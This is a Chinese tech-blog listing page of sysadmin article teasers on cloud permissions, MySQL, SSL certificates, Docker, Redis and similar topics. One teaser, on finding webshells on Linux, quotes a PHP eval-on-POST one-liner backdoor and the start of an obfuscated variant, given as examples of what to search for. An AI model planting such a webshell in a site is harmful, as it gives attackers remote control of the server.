加载中
阿里云使用RAM子账号授权管理oss对象存储

不要给主账号创建AK密钥 主账号具有该账户下所有云资源的完全操作权限,一旦泄露AK,将会导致您账户资产的极大风险。强烈建议您创建并使用RAM子用户来进行日常工作,遵循最小授权原则,使用R...

2019/05/28 16:21
169
innobackupex单库单表备份

mysql大表怎么备份?如何备份单库?如何快速还原? 比如我们单库的容量有1T,使用mysqldump导出来可能需要5个小时(400G的大小),但是导入可能就要100个小时,一般我们不会使用mysqldump,而是...

使用certbot自动签发SSL证书(Let's Encrypt证书)

我知道很多云上都有免费1年的SSL证书了,但是1年到了你还得手动去续期,域名多了那工作量就大了去了。我的环境是阿里云centos6,亲测centos7同样适用,一句命令即可! Let's Encrypt 的最大贡...

2016/12/19 16:31
573
linux查找webshell

首先认识一下小马,一般大马容易暴露,骇客都会留一手,把小马加入正常PHP文件里面 <?php eval ($_POST[a]);?> //密码为a,使用中国菜刀连接 隐藏很深的小马 fputs(fopen(chr(46).chr(47).ch...

2013/08/21 18:17
8.3K
预留端口避免占用ip_local_reserved_ports

问题描述: 业务遇到这个情况,在重启服务时,出现1986端口被占用而无法启动,非得等该端口释放后才启动成功。 问题分析: 1986端口被该服务器上的客户端随机选取源端口给占用掉了。 解决方案...

2019/12/08 20:54
82
Mac转发到80端口

其实是碰到一个使用SSH端口转发,也叫SSH隧道,访问内网WEB的环境,发现mac不是root没办法启动80,导致无法访问的问题。 在这之前,我是使用ssh端口转发用于内网SSH链接,WEB的就用跳板机装个...

2019/12/08 20:53
70
服务器遭受TCP攻击

常在岸边走,哪有不湿鞋,某服务器遭受TCP攻击简单处理 环境: 阿里云 2c4g 固定1m带宽 静态放CDN 现象: 丢包,页面打不开,无法通过公网进服务器,服务器大量的TCP链接,流入带宽300M 原理:...

2019/11/16 09:25
39
Redis性能优化:使用scan命令替换keys

文档http://doc.redisfans.com/key/scan.html 由于每个Redis实例是使用单线程处理所有请求的,故keys命令和其他命令都是在同一个队列排队等待执行的,如果keys命令执行时间长(数量多),则会...

2019/11/08 10:51
50
Gitlab利用Webhooks实现Push代码后的jenkins自动构建

参考资料:http://www.cnblogs.com/kevingrace/p/6479813.html 我想实现开发环境的代码一旦被push(这里可能也可以是其他请求,比如合并)到gitlab,就会触发jenkins自动构建这个动作。 这种hoo...

2019/11/08 10:47
26
java排错之CPU高

青铜步骤: 从TOP命令的结果查找CPU高的进程 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 7916 root 20 0 7032088 1.500g 13952 S 104.3 13.0 5:17.34 java -jar api-pos-0.1.0.j...

2019/11/08 10:41
12
graylog之Dashboard

每分钟访问量 每小时访问量 过去1小时状态码为xxx的请求统计 每天请求时间超过0.5秒统计(upstream_response_time) 每天请求时间超过3秒统计(request_time) 每小时IP统计 每天IP统计 每小时请...

2019/11/08 10:08
20
使用sshpass 和 ssh-copy-id批量拷贝公钥到远程主机

在使用ansible的时候需要在被控制端写入公钥 一般我们是用ssh-copy-id root@ip 来推送公钥 但是这里还要输入一次密码 所以这里使用sshpass来替代手动输入密码,非常适合批量部署 注意,远程服...

2019/11/07 18:21
23
ETCD使用中需要注意的问题

我们在实际生产中使用ETCD存储元数据, 起初集群规模不大的时候元数据信息不多没有发现什么问题。 随着集群规模越来越大问题逐渐暴露了 有些实际的配置还是需要在初始化的时候就研究确定 ...

2019/10/08 12:48
38
linux tar 压缩加密

tar加密压缩 tar -czvf - 1.sh | openssl des3 -salt -k 123123 -out 1.tar.gz 1.sh 可以是文件或者目录 123123 是密码 1.tar.gz 是生成后的压缩文件 tar加密解压 openssl des3 -d -k 12312...

2019/09/24 15:35
286
Docker容器的DNS和主机名

同一个Docker镜像可以启动很多个容器,它们的主机名并不一样,可知主机名并不是被写入镜像中. 实际上容器中/etc目录下有3个文件是容器启动后被虚拟文件覆盖掉的,分别是 /etc/hostname /etc/hos...

2019/09/19 18:04
1K
nginx优化之request_time 和upstream_response_time差别

1、request_time 官网描述:request processing time in seconds with a milliseconds resolution; time elapsed between the first bytes were read from the client and the log write aft...

2019/09/12 09:41
241
mysql left join 无法使用上索引

mysql left join 的原则上有两点 左表为小表 右表的关联字段是索引(就是on后面的条件尽量加上索引) 遇到的问题:右表(c)是大表,分别 有两个小表(a和b) 当 a left join c 的时候可以使用上...

2019/09/11 16:46
146
使用CDN加速的网站如何设置CORS访问

网站使用CDN加速后,如果某个CDN节点下先发生了非跨域的访问,CDN会缓存一个没有CORS头部的文件内容,在过期之前发生的跨域访问,会因为没有CORS头部信息而导致访问报错。这种情况可以利用C...

2019/08/29 13:45
78
mysql8创建视图显示IS NOT BASE TABLE

mysql8.0在创建视图的时候使用navicat premium 12.1.18连接,所有表的注释会显示数据库名.视图表名 IS NOT BASE TABLE 版本是Server version: 8.0.16 MySQL Community Server - GPL,如下图所...

MySQL出现Waiting for table metadata lock的原因以及解决方法

MDL简述 为了在并发环境下维护表元数据的数据一致性,在表上有活动事务(显式或隐式)的时候,不可以对元数据进行写入操作。因此从MySQL5.5版本开始引入了MDL锁(metadata lock),来保护表的...

2019/08/22 18:01
16

没有更多内容

加载失败,请刷新页面

返回顶部
顶部